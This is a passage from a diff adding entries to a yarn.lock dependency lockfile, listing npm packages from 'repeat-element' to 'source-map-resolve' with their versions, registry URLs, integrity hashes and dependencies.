+ integrity sha512-ccqoLg+HLOHq1vdfYNm4TBeaCDIi1FLt3wGojTDSvdewUv65oTmI3cnT2E4hRjl1gzKZIPK+KZrXzlUYKnR+vQ==
+ dependencies:
+ css-select "^2.0.2"
+ dom-converter "^0.2"
+ htmlparser2 "^3.10.1"
+ lodash "^4.17.20"
+ strip-ansi "^3.0.0"
+
+repeat-element@^1.1.2:
+ version "1.1.4"
+ resolved "https://registry.yarnpkg.com/repeat-element/-/repeat-element-1.1.4.tgz#be681520847ab58c7568ac75fbfad28ed42d39e9"
+ integrity sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==
+
+repeat-string@^1.5.4, repeat-string@^1.6.1:
+ version "1.6.1"
+ resolved "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637"
+ integrity sha1-jcrkcOHIirwtYA//Sndihtp15jc=
+
+repeating@^2.0.0:
+ version "2.0.1"
+ resolved "https://registry.yarnpkg.com/repeating/-/repeating-2.0.1.tgz#5214c53a926d3552707527fbab415dbc08d06dda"
+ integrity sha1-UhTFOpJtNVJwdSf7q0FdvAjQbdo=
+ dependencies:
+ is-finite "^1.0.0"
+
+request@^2.87.0, request@^2.88.0:
+ version "2.88.2"
+ resolved "https://registry.yarnpkg.com/request/-/request-2.88.2.tgz#d73c918731cb5a87da047e207234146f664d12b3"
+ integrity sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==
+ dependencies:
+ aws-sign2 "~0.7.0"
+ aws4 "^1.8.0"
+ caseless "~0.12.0"
+ combined-stream "~1.0.6"
+ extend "~3.0.2"
+ forever-agent "~0.6.1"
+ form-data "~2.3.2"
+ har-validator "~5.1.3"
+ http-signature "~1.2.0"
+ is-typedarray "~1.0.0"
+ isstream "~0.1.2"
+ json-stringify-safe "~5.0.1"
+ mime-types "~2.1.19"
+ oauth-sign "~0.9.0"
+ performance-now "^2.1.0"
+ qs "~6.5.2"
+ safe-buffer "^5.1.2"
+ tough-cookie "~2.5.0"
+ tunnel-agent "^0.6.0"
+ uuid "^3.3.2"
+
+require-directory@^2.1.1:
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
+ integrity sha1-jGStX9MNqxyXbiNE/+f3kqam30I=
+
+require-main-filename@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/require-main-filename/-/require-main-filename-2.0.0.tgz#d0b329ecc7cc0f61649f62215be69af54aa8989b"
+ integrity sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==
+
+resolve-dir@^1.0.0, resolve-dir@^1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/resolve-dir/-/resolve-dir-1.0.1.tgz#79a40644c362be82f26effe739c9bb5382046f43"
+ integrity sha1-eaQGRMNivoLybv/nOcm7U4IEb0M=
+ dependencies:
+ expand-tilde "^2.0.0"
+ global-modules "^1.0.0"
+
+resolve-from@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-3.0.0.tgz#b22c7af7d9d6881bc8b6e653335eebcb0a188748"
+ integrity sha1-six699nWiBvItuZTM17rywoYh0g=
+
+resolve-from@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6"
+ integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==
+
+resolve-from@^5.0.0:
+ version "5.0.0"
+ resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-5.0.0.tgz#c35225843df8f776df21c57557bc087e9dfdfc69"
+ integrity sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==
+
+resolve-url@^0.2.1:
+ version "0.2.1"
+ resolved "https://registry.yarnpkg.com/resolve-url/-/resolve-url-0.2.1.tgz#2c637fe77c893afd2a663fe21aa9080068e2052a"
+ integrity sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=
+
+resolve@^1.10.0, resolve@^1.10.1, resolve@^1.12.0, resolve@^1.14.2, resolve@^1.15.1, resolve@^1.19.0, resolve@^1.3.2:
+ version "1.20.0"
+ resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.20.0.tgz#629a013fb3f70755d6f0b7935cc1c2c5378b1975"
+ integrity sha512-wENBPt4ySzg4ybFQW2TT1zMQucPK95HSh/nq2CFTZVOGut2+pQvSsgtda4d26YrYcr067wjbmzOG8byDPBX63A==
+ dependencies:
+ is-core-module "^2.2.0"
+ path-parse "^1.0.6"
+
+ret@~0.1.10:
+ version "0.1.15"
+ resolved "https://registry.yarnpkg.com/ret/-/ret-0.1.15.tgz#b8a4825d5bdb1fc3f6f53c2bc33f81388681c7bc"
+ integrity sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==
+
+reusify@^1.0.4:
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/reusify/-/reusify-1.0.4.tgz#90da382b1e126efc02146e90845a88db12925d76"
+ integrity sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==
+
+rimraf@2, rimraf@^2.2.8, rimraf@^2.5.4, rimraf@^2.6.3:
+ version "2.7.1"
+ resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-2.7.1.tgz#35797f13a7fdadc566142c29d4f07ccad483e3ec"
+ integrity sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==
+ dependencies:
+ glob "^7.1.3"
+
+rimraf@^3.0.2:
+ version "3.0.2"
+ resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-3.0.2.tgz#f1a5402ba6220ad52cc1282bac1ae3aa49fd061a"
+ integrity sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==
+ dependencies:
+ glob "^7.1.3"
+
+rimraf@~2.6.2:
+ version "2.6.3"
+ resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-2.6.3.tgz#b2d104fe0d8fb27cf9e0a1cda8262dd3833c6cab"
+ integrity sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==
+ dependencies:
+ glob "^7.1.3"
+
+ripemd160@^2.0.0, ripemd160@^2.0.1:
+ version "2.0.2"
+ resolved "https://registry.yarnpkg.com/ripemd160/-/ripemd160-2.0.2.tgz#a1c1a6f624751577ba5d07914cbc92850585890c"
+ integrity sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==
+ dependencies:
+ hash-base "^3.0.0"
+ inherits "^2.0.1"
+
+rsvp@^4.8.4:
+ version "4.8.5"
+ resolved "https://registry.yarnpkg.com/rsvp/-/rsvp-4.8.5.tgz#c8f155311d167f68f21e168df71ec5b083113734"
+ integrity sha512-nfMOlASu9OnRJo1mbEk2cz0D56a1MBNrJ7orjRZQG10XDyuvwksKbuXNp6qa+kbn839HwjwhBzhFmdsaEAfauA==
+
+run-parallel@^1.1.9:
+ version "1.2.0"
+ resolved "https://registry.yarnpkg.com/run-parallel/-/run-parallel-1.2.0.tgz#66d1368da7bdf921eb9d95bd1a9229e7f21a43ee"
+ integrity sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==
+ dependencies:
+ queue-microtask "^1.2.2"
+
+run-queue@^1.0.0, run-queue@^1.0.3:
+ version "1.0.3"
+ resolved "https://registry.yarnpkg.com/run-queue/-/run-queue-1.0.3.tgz#e848396f057d223f24386924618e25694161ec47"
+ integrity sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=
+ dependencies:
+ aproba "^1.1.1"
+
+safe-buffer@5.1.1:
+ version "5.1.1"
+ resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.1.tgz#893312af69b2123def71f57889001671eeb2c853"
+ integrity sha512-kKvNJn6Mm93gAczWVJg7wH+wGYWNrDHdWvpUmHyEsgCtIwwo3bqPtV4tR5tuPaUhTOo/kvhVwd8XwwOllGYkbg==
+
+safe-buffer@5.1.2, safe-buffer@~5.1.0, safe-buffer@~5.1.1:
+ version "5.1.2"
+ resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
+ integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
+
+safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, safe-buffer@^5.1.2, safe-buffer@^5.2.0, safe-buffer@~5.2.0:
+ version "5.2.1"
+ resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
+ integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
+
+safe-regex@^1.1.0:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/safe-regex/-/safe-regex-1.1.0.tgz#40a3669f3b077d1e943d44629e157dd48023bf2e"
+ integrity sha1-QKNmnzsHfR6UPURinhV91IAjvy4=
+ dependencies:
+ ret "~0.1.10"
+
+"safer-buffer@>= 2.1.2 < 3", safer-buffer@^2.0.2, safer-buffer@^2.1.0, safer-buffer@~2.1.0:
+ version "2.1.2"
+ resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
+ integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
+
+sane@^4.0.3:
+ version "4.1.0"
+ resolved "https://registry.yarnpkg.com/sane/-/sane-4.1.0.tgz#ed881fd922733a6c461bc189dc2b6c006f3ffded"
+ integrity sha512-hhbzAgTIX8O7SHfp2c8/kREfEn4qO/9q8C9beyY6+tvZ87EpoZ3i1RIEvp27YBswnNbY9mWd6paKVmKbAgLfZA==
+ dependencies:
+ "@cnakazawa/watch" "^1.0.3"
+ anymatch "^2.0.0"
+ capture-exit "^2.0.0"
+ exec-sh "^0.3.2"
+ execa "^1.0.0"
+ fb-watchman "^2.0.0"
+ micromatch "^3.1.4"
+ minimist "^1.1.1"
+ walker "~1.0.5"
+
+sass-graph@2.2.5:
+ version "2.2.5"
+ resolved "https://registry.yarnpkg.com/sass-graph/-/sass-graph-2.2.5.tgz#a981c87446b8319d96dce0671e487879bd24c2e8"
+ integrity sha512-VFWDAHOe6mRuT4mZRd4eKE+d8Uedrk6Xnh7Sh9b4NGufQLQjOrvf/MQoOdx+0s92L89FeyUUNfU597j/3uNpag==
+ dependencies:
+ glob "^7.0.0"
+ lodash "^4.0.0"
+ scss-tokenizer "^0.2.3"
+ yargs "^13.3.2"
+
+sass-loader@^7.1.0:
+ version "7.3.1"
+ resolved "https://registry.yarnpkg.com/sass-loader/-/sass-loader-7.3.1.tgz#a5bf68a04bcea1c13ff842d747150f7ab7d0d23f"
+ integrity sha512-tuU7+zm0pTCynKYHpdqaPpe+MMTQ76I9TPZ7i4/5dZsigE350shQWe5EZNl5dBidM49TPET75tNqRbcsUZWeNA==
+ dependencies:
+ clone-deep "^4.0.1"
+ loader-utils "^1.0.1"
+ neo-async "^2.5.0"
+ pify "^4.0.1"
+ semver "^6.3.0"
+
+scheduler@^0.19.1:
+ version "0.19.1"
+ resolved "https://registry.yarnpkg.com/scheduler/-/scheduler-0.19.1.tgz#4f3e2ed2c1a7d65681f4c854fa8c5a1ccb40f196"
+ integrity sha512-n/zwRWRYSUj0/3g/otKDRPMh6qv2SYMWNq85IEa8iZyAv8od9zDYpGSnpBEjNgcMNq6Scbu5KfIPxNF72R/2EA==
+ dependencies:
+ loose-envify "^1.1.0"
+ object-assign "^4.1.1"
+
+schema-utils@2.7.0:
+ version "2.7.0"
+ resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-2.7.0.tgz#17151f76d8eae67fbbf77960c33c676ad9f4efc7"
+ integrity sha512-0ilKFI6QQF5nxDZLFn2dMjvc4hjg/Wkg7rHd3jK6/A4a1Hl9VFdQWvgB1UMGoU94pad1P/8N7fMcEnLnSiju8A==
+ dependencies:
+ "@types/json-schema" "^7.0.4"
+ ajv "^6.12.2"
+ ajv-keywords "^3.4.1"
+
+schema-utils@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-1.0.0.tgz#0b79a93204d7b600d4b2850d1f66c2a34951c770"
+ integrity sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==
+ dependencies:
+ ajv "^6.1.0"
+ ajv-errors "^1.0.0"
+ ajv-keywords "^3.1.0"
+
+schema-utils@^2.6.5, schema-utils@^2.6.6, schema-utils@^2.7.0:
+ version "2.7.1"
+ resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-2.7.1.tgz#1ca4f32d1b24c590c203b8e7a50bf0ea4cd394d7"
+ integrity sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==
+ dependencies:
+ "@types/json-schema" "^7.0.5"
+ ajv "^6.12.4"
+ ajv-keywords "^3.5.2"
+
+schema-utils@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-3.0.0.tgz#67502f6aa2b66a2d4032b4279a2944978a0913ef"
+ integrity sha512-6D82/xSzO094ajanoOSbe4YvXWMfn2A//8Y1+MUqFAJul5Bs+yn36xbK9OtNDcRVSBJ9jjeoXftM6CfztsjOAA==
+ dependencies:
+ "@types/json-schema" "^7.0.6"
+ ajv "^6.12.5"
+ ajv-keywords "^3.5.2"
+
+scss-tokenizer@^0.2.3:
+ version "0.2.3"
+ resolved "https://registry.yarnpkg.com/scss-tokenizer/-/scss-tokenizer-0.2.3.tgz#8eb06db9a9723333824d3f5530641149847ce5d1"
+ integrity sha1-jrBtualyMzOCTT9VMGQRSYR85dE=
+ dependencies:
+ js-base64 "^2.1.8"
+ source-map "^0.4.2"
+
+select@^1.1.2:
+ version "1.1.2"
+ resolved "https://registry.yarnpkg.com/select/-/select-1.1.2.tgz#0e7350acdec80b1108528786ec1d4418d11b396d"
+ integrity sha1-DnNQrN7ICxEIUoeG7B1EGNEbOW0=
+
+"semver@2 || 3 || 4 || 5", semver@^5.4.1, semver@^5.5.0, semver@^5.6.0:
+ version "5.7.1"
+ resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.1.tgz#a954f931aeba508d307bbf069eff0c01c96116f7"
+ integrity sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==
+
+semver@7.0.0:
+ version "7.0.0"
+ resolved "https://registry.yarnpkg.com/semver/-/semver-7.0.0.tgz#5f3ca35761e47e05b206c6daff2cf814f0316b8e"
+ integrity sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==
+
+semver@^6.0.0, semver@^6.1.1, semver@^6.1.2, semver@^6.3.0:
+ version "6.3.0"
+ resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.0.tgz#ee0a64c8af5e8ceea67687b133761e1becbd1d3d"
+ integrity sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==
+
+semver@^7.3.2, semver@^7.3.4:
+ version "7.3.5"
+ resolved "https://registry.yarnpkg.com/semver/-/semver-7.3.5.tgz#0b621c879348d8998e4b0e4be94b3f12e6018ef7"
+ integrity sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==
+ dependencies:
+ lru-cache "^6.0.0"
+
+semver@~5.3.0:
+ version "5.3.0"
+ resolved "https://registry.yarnpkg.com/semver/-/semver-5.3.0.tgz#9b2ce5d3de02d17c6012ad326aa6b4d0cf54f94f"
+ integrity sha1-myzl094C0XxgEq0yaqa00M9U+U8=
+
+send@0.17.1:
+ version "0.17.1"
+ resolved "https://registry.yarnpkg.com/send/-/send-0.17.1.tgz#c1d8b059f7900f7466dd4938bdc44e11ddb376c8"
+ integrity sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==
+ dependencies:
+ debug "2.6.9"
+ depd "~1.1.2"
+ destroy "~1.0.4"
+ encodeurl "~1.0.2"
+ escape-html "~1.0.3"
+ etag "~1.8.1"
+ fresh "0.5.2"
+ http-errors "~1.7.2"
+ mime "1.6.0"
+ ms "2.1.1"
+ on-finished "~2.3.0"
+ range-parser "~1.2.1"
+ statuses "~1.5.0"
+
+sentence-case@^2.1.0:
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/sentence-case/-/sentence-case-2.1.1.tgz#1f6e2dda39c168bf92d13f86d4a918933f667ed4"
+ integrity sha1-H24t2jnBaL+S0T+G1KkYkz9mftQ=
+ dependencies:
+ no-case "^2.2.0"
+ upper-case-first "^1.1.2"
+
+serialize-javascript@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/serialize-javascript/-/serialize-javascript-4.0.0.tgz#b525e1238489a5ecfc42afacc3fe99e666f4b1aa"
+ integrity sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==
+ dependencies:
+ randombytes "^2.1.0"
+
+serve-favicon@^2.5.0:
+ version "2.5.0"
+ resolved "https://registry.yarnpkg.com/serve-favicon/-/serve-favicon-2.5.0.tgz#935d240cdfe0f5805307fdfe967d88942a2cbcf0"
+ integrity sha1-k10kDN/g9YBTB/3+ln2IlCosvPA=
+ dependencies:
+ etag "~1.8.1"
+ fresh "0.5.2"
+ ms "2.1.1"
+ parseurl "~1.3.2"
+ safe-buffer "5.1.1"
+
+serve-static@1.14.1:
+ version "1.14.1"
+ resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.14.1.tgz#666e636dc4f010f7ef29970a88a674320898b2f9"
+ integrity sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==
+ dependencies:
+ encodeurl "~1.0.2"
+ escape-html "~1.0.3"
+ parseurl "~1.3.3"
+ send "0.17.1"
+
+set-blocking@^2.0.0, set-blocking@~2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7"
+ integrity sha1-BF+XgtARrppoA93TgrJDkrPYkPc=
+
+set-value@^2.0.0, set-value@^2.0.1:
+ version "2.0.1"
+ resolved "https://registry.yarnpkg.com/set-value/-/set-value-2.0.1.tgz#a18d40530e6f07de4228c7defe4227af8cad005b"
+ integrity sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==
+ dependencies:
+ extend-shallow "^2.0.1"
+ is-extendable "^0.1.1"
+ is-plain-object "^2.0.3"
+ split-string "^3.0.1"
+
+setimmediate@^1.0.4:
+ version "1.0.5"
+ resolved "https://registry.yarnpkg.com/setimmediate/-/setimmediate-1.0.5.tgz#290cbb232e306942d7d7ea9b83732ab7856f8285"
+ integrity sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=
+
+setprototypeof@1.1.1:
+ version "1.1.1"
+ resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.1.tgz#7e95acb24aa92f5885e0abef5ba131330d4ae683"
+ integrity sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==
+
+sha.js@^2.4.0, sha.js@^2.4.8:
+ version "2.4.11"
+ resolved "https://registry.yarnpkg.com/sha.js/-/sha.js-2.4.11.tgz#37a5cf0b81ecbc6943de109ba2960d1b26584ae7"
+ integrity sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==
+ dependencies:
+ inherits "^2.0.1"
+ safe-buffer "^5.0.1"
+
+shallow-clone@^3.0.0:
+ version "3.0.1"
+ resolved "https://registry.yarnpkg.com/shallow-clone/-/shallow-clone-3.0.1.tgz#8f2981ad92531f55035b01fb230769a40e02efa3"
+ integrity sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==
+ dependencies:
+ kind-of "^6.0.2"
+
+shallowequal@^1.1.0:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/shallowequal/-/shallowequal-1.1.0.tgz#188d521de95b9087404fd4dcb68b13df0ae4e7f8"
+ integrity sha512-y0m1JoUZSlPAjXVtPPW70aZWfIL/dSP7AFkRnniLCrK/8MDKog3TySTBmckD+RObVxH0v4Tox67+F14PdED2oQ==
+
+shebang-command@^1.2.0:
+ version "1.2.0"
+ resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-1.2.0.tgz#44aac65b695b03398968c39f363fee5deafdf1ea"
+ integrity sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=
+ dependencies:
+ shebang-regex "^1.0.0"
+
+shebang-command@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea"
+ integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==
+ dependencies:
+ shebang-regex "^3.0.0"
+
+shebang-regex@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-1.0.0.tgz#da42f49740c0b42db2ca9728571cb190c98efea3"
+ integrity sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=
+
+shebang-regex@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172"
+ integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==
+
+shell-quote@1.7.2:
+ version "1.7.2"
+ resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.7.2.tgz#67a7d02c76c9da24f99d20808fcaded0e0e04be2"
+ integrity sha512-mRz/m/JVscCrkMyPqHc/bczi3OQHkLTqXHEFu0zDhK/qfv3UcOA4SVmRCLmos4bhjr9ekVQubj/R7waKapmiQg==
+
+side-channel@^1.0.4:
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.4.tgz#efce5c8fdc104ee751b25c58d4290011fa5ea2cf"
+ integrity sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==
+ dependencies:
+ call-bind "^1.0.0"
+ get-intrinsic "^1.0.2"
+ object-inspect "^1.9.0"
+
+signal-exit@^3.0.0, signal-exit@^3.0.2:
+ version "3.0.3"
+ resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.3.tgz#a1410c2edd8f077b08b4e253c8eacfcaf057461c"
+ integrity sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==
+
+sisteransi@^1.0.5:
+ version "1.0.5"
+ resolved "https://registry.yarnpkg.com/sisteransi/-/sisteransi-1.0.5.tgz#134d681297756437cc05ca01370d3a7a571075ed"
+ integrity sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==
+
+slash@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/slash/-/slash-2.0.0.tgz#de552851a1759df3a8f206535442f5ec4ddeab44"
+ integrity sha512-ZYKh3Wh2z1PpEXWr0MpSBZ0V6mZHAQfYevttO11c51CaWjGTaadiKZ+wVt1PbMlDV5qhMFslpZCemhwOK7C89A==
+
+slash@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/slash/-/slash-3.0.0.tgz#6539be870c165adbd5240220dbe361f1bc4d4634"
+ integrity sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==
+
+snake-case@^2.1.0:
+ version "2.1.0"
+ resolved "https://registry.yarnpkg.com/snake-case/-/snake-case-2.1.0.tgz#41bdb1b73f30ec66a04d4e2cad1b76387d4d6d9f"
+ integrity sha1-Qb2xtz8w7GagTU4srRt2OH1NbZ8=
+ dependencies:
+ no-case "^2.2.0"
+
+snapdragon-node@^2.0.1:
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/snapdragon-node/-/snapdragon-node-2.1.1.tgz#6c175f86ff14bdb0724563e8f3c1b021a286853b"
+ integrity sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==
+ dependencies:
+ define-property "^1.0.0"
+ isobject "^3.0.0"
+ snapdragon-util "^3.0.1"
+
+snapdragon-util@^3.0.1:
+ version "3.0.1"
+ resolved "https://registry.yarnpkg.com/snapdragon-util/-/snapdragon-util-3.0.1.tgz#f956479486f2acd79700693f6f7b805e45ab56e2"
+ integrity sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==
+ dependencies:
+ kind-of "^3.2.0"
+
+snapdragon@^0.8.1:
+ version "0.8.2"
+ resolved "https://registry.yarnpkg.com/snapdragon/-/snapdragon-0.8.2.tgz#64922e7c565b0e14204ba1aa7d6964278d25182d"
+ integrity sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==
+ dependencies:
+ base "^0.11.1"
+ debug "^2.2.0"
+ define-property "^0.2.5"
+ extend-shallow "^2.0.1"
+ map-cache "^0.2.2"
+ source-map "^0.5.6"
+ source-map-resolve "^0.5.0"
+ use "^3.1.0"
+
+source-list-map@^2.0.0:
+ version "2.0.1"
+ resolved "https://registry.yarnpkg.com/source-list-map/-/source-list-map-2.0.1.tgz#3993bd873bfc48479cca9ea3a547835c7c154b34"
+ integrity sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==
+
+source-map-js@^0.6.2:
+ version "0.6.2"
+ resolved "https://registry.yarnpkg.com/source-map-js/-/source-map-js-0.6.2.tgz#0bb5de631b41cfbda6cfba8bd05a80efdfd2385e"
+ integrity sha512-/3GptzWzu0+0MBQFrDKzw/DvvMTUORvgY6k6jd/VS6iCR4RDTKWH6v6WPwQoUO8667uQEf9Oe38DxAYWY5F/Ug==
+
+source-map-resolve@^0.5.0:
+ version "0.5.3"
+ resolved "https://registry.yarnpkg.com/source-map-resolve/-/source-map-resolve-0.5.3.tgz#190866bece7553e1f8f267a2ee82c606b5509a1a"
